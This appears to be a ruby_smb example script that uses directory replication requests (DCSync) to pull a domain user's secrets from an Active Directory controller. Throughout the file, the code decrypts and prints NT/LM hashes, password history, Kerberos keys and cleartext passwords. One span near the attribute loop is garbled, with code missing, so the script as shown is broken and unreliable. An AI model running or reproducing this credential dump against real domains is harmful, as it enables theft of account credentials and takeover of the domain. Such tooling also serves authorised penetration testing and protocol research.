#!/usr/bin/ruby # This example script is used for testing DCERPC client and DRSR structures. # It will attempt to connect to a host and enumerate user secrets. # Example usage: ruby dump_secrets_from_sid.rb 192.168.172.138 msfadmin msfadmin MYDOMAIN S-1-5-21-419547006-9448028-4223375872-500 # This will try to connect to \\192.168.172.138 with the msfadmin:msfadmin # credentials and enumerate secrets of domain user with SID # S-1-5-21-419547006-9448028-4223375872-500 require 'bundler/setup' require 'ruby_smb/dcerpc/client' address = ARGV[0] username = ARGV[1] password = ARGV[2] domain = ARGV[3] sid = ARGV[4] client = RubySMB::Dcerpc::Client.new( address, RubySMB::Dcerpc::Drsr, username: username, password: password, ) client.connect puts('Binding to DRSR...') client.bind( endpoint: RubySMB::Dcerpc::Drsr, auth_level: RubySMB::Dcerpc::RPC_C_AUTHN_LEVEL_PKT_PRIVACY, auth_type: RubySMB::Dcerpc::RPC_C_AUTHN_WINNT ) puts('Bound to DRSR') ph_drs = client.drs_bind puts "ph_drs: #{ph_drs}" puts dc_infos = client.drs_domain_controller_info(ph_drs, domain) dc_infos.each do |dc_info| dc_info.field_names.each do |field| puts "#{field}: #{dc_info.send(field).to_s.encode('utf-8')}" end puts puts crack_names = client.drs_crack_names(ph_drs, rp_names: [sid]) puts "SID: #{sid}" crack_names.each do |crack_name| puts "Domain: #{crack_name.p_domain.to_s.encode('utf-8')}" puts "Name: #{crack_name.p_name.to_s.encode('utf-8')}" user_record = client.drs_get_nc_changes( ph_drs, nc_guid: crack_name.p_name.to_s.encode('utf-8'), dsa_object_guid: dc_info.ntds_dsa_object_guid, ) # self.__decryptHash dn = user_record.pmsg_out.msg_getchg.p_nc.string_name.to_ary[0..-1].join.encode('utf-8') puts "Decrypting hash for user: #{dn}" entinf_struct = user_record.pmsg_out.msg_getchg.p_objects.entinf object_sid = rid = entinf_struct.p_name.sid[-4..-1].unpack(' 0 # begin att_id = user_record.pmsg_out.msg_getchg.oid_from_attid(attr.attr_typ) lookup_table = RubySMB::Dcerpc::Drsr::ATTRTYP_TO_ATTID # rescue XXXX # att_id = attr.attr_typ # lookup_table = NAME_TO_ATTRTYP # end #puts "#{lookup_table.key(att_id) || 'Unknown'}: #{attr.attr_val.p_aval[0].p_val}" attribute_value = attr.attr_val.p_aval[0].p_val.to_ary.map(&:chr).join case att_id when lookup_table['dBCSPwd'] encrypted_lm_hash = client.decrypt_attribute_value(attribute_value) lm_hash = client.remove_des_layer(encrypted_lm_hash, rid) when lookup_table['unicodePwd'] encrypted_nt_hash = client.decrypt_attribute_value(attribute_value) nt_hash = client.remove_des_layer(encrypted_nt_hash, rid) when lookup_table['userPrincipalName'] domain_name = attribute_value.force_encoding('utf-16le').encode('utf-8').split('@').last when lookup_table['sAMAccountName'] user = attribute_value.force_encoding('utf-16le').encode('utf-8') when lookup_table['objectSid'] object_sid = attribute_value when lookup_table['userAccountControl'] user_account_control = attribute_value.unpack('L<')[0] disabled = user_account_control & RubySMB::Dcerpc::Samr::UF_ACCOUNTDISABLE != 0 computer_account = user_account_control & RubySMB::Dcerpc::Samr::UF_NORMAL_ACCOUNT == 0 password_never_expires = user_account_control & RubySMB::Dcerpc::Samr::UF_DONT_EXPIRE_PASSWD != 0 password_not_required = user_account_control & RubySMB::Dcerpc::Samr::UF_PASSWD_NOTREQD != 0 when lookup_table['pwdLastSet'] pwd_last_set = Time.at(0) time_value = attribute_value.unpack('Q<')[0] if time_value > 0 pwd_last_set = RubySMB::Field::FileTime.new(time_value).to_time.utc end when lookup_table['accountExpires'] expires = Time.at(0) time_value = attribute_value.unpack('Q<')[0] if time_value > 0 && time_value != 0x7FFFFFFFFFFFFFFF expires = RubySMB::Field::FileTime.new(time_value).to_time.utc end when lookup_table['lastLogonTimestamp'] last_logon = Time.at(0) time_value = attribute_value.unpack('Q<')[0] if time_value > 0 last_logon = RubySMB::Field::FileTime.new(time_value).to_time.utc end when lookup_table['lmPwdHistory'] tmp_lm_history = client.decrypt_attribute_value(attribute_value) tmp_lm_history.bytes.each_slice(16) do |block| lm_history << client.remove_des_layer(block.map(&:chr).join, rid) end when lookup_table['ntPwdHistory'] tmp_nt_history = client.decrypt_attribute_value(attribute_value) tmp_nt_history.bytes.each_slice(16) do |block| nt_history << client.remove_des_layer(block.map(&:chr).join, rid) end when lookup_table['supplementalCredentials'] # self.__decryptSupplementalInfo plain_text = client.decrypt_attribute_value(attribute_value) user_properties = RubySMB::Dcerpc::Samr::UserProperties.read(plain_text) user_properties.user_properties.each do |user_property| case user_property.property_name.encode('utf-8') when 'Primary:Kerberos-Newer-Keys' value = user_property.property_value binary_value = value.chars.each_slice(2).map {|a,b| (a+b).hex.chr}.join kerb_stored_credential_new = RubySMB::Dcerpc::Samr::KerbStoredCredentialNew.read(binary_value) key_values = kerb_stored_credential_new.get_key_values kerb_stored_credential_new.credentials.each_with_index do |credential, i| kerberos_type = RubySMB::Dcerpc::Samr::KERBEROS_TYPE[credential.key_type] if kerberos_type kerberos_keys[kerberos_type] = key_values[i].unpack('H*')[0] else kerberos_keys["0x#{credential.key_type.to_i.to_s(16)}"] = key_values[i].unpack('H*')[0] end end when 'Primary:CLEARTEXT' # [MS-SAMR] 3.1.1.8.11.5 Primary:CLEARTEXT Property # This credential type is the cleartext password. The value format is the UTF-16 encoded cleartext password. begin clear_text_passwords << user_property.property_value.to_s.force_encoding('utf-16le').encode('utf-8') rescue EncodingError # This could be because we're decoding a machine password. Printing it hex # Keep clear_text_passwords with a ASCII-8BIT encoding clear_text_passwords << user_property.property_value.to_s end end end end end user = "#{domain_name}\\#{user}" unless domain_name.empty? puts "#{user}:#{rid}:#{lm_hash.unpack('H*')[0]}:#{nt_hash.unpack('H*')[0]}:::" puts "Object SID: 0x#{object_sid.unpack('H*')[0]}" puts "Password last set: #{pwd_last_set && pwd_last_set > Time.at(0) ? pwd_last_set : 'never'}" puts "Last logon: #{last_logon && last_logon > Time.at(0) ? last_logon : 'never'}" puts "Account disabled: #{disabled.nil? ? 'N/A' : disabled}" puts "Computer account: #{computer_account.nil? ? 'N/A' : computer_account}" puts "Password never expires: #{password_never_expires.nil? ? 'N/A' : password_never_expires}" puts "Password not required: #{password_not_required.nil? ? 'N/A' : password_not_required}" puts "Expired: #{!disabled && expires && expires > Time.at(0) && expires < Time.now}" if nt_history.size > 1 and lm_history.size > 1 puts "Password history:" nt_history[1..-1].zip(lm_history[1..-1]).each_with_index do |history, i| nt_h, lm_h = history empty_lm_h = Net::NTLM.lm_hash('') puts " #{user}_history#{i}:#{rid}:#{empty_lm_h.unpack('H*')[0]}:#{nt_h.to_s.unpack('H*')[0]}::: (if LMHashes are not stored)" puts " #{user}_history#{i}:#{rid}:#{lm_h.to_s.unpack('H*')[0]}:#{nt_h.to_s.unpack('H*')[0]}::: (if LMHashes are stored)" end end puts "Kerberos keys:" kerberos_keys.each do |key_type, key_value| puts " #{user}:#{key_type}:#{key_value}" end puts "Clear passwords:" clear_text_passwords.each do |passwd| puts " #{user}:CLEARTEXT:#{passwd}" end end end client.drs_unbind(ph_drs) client.close puts 'Done'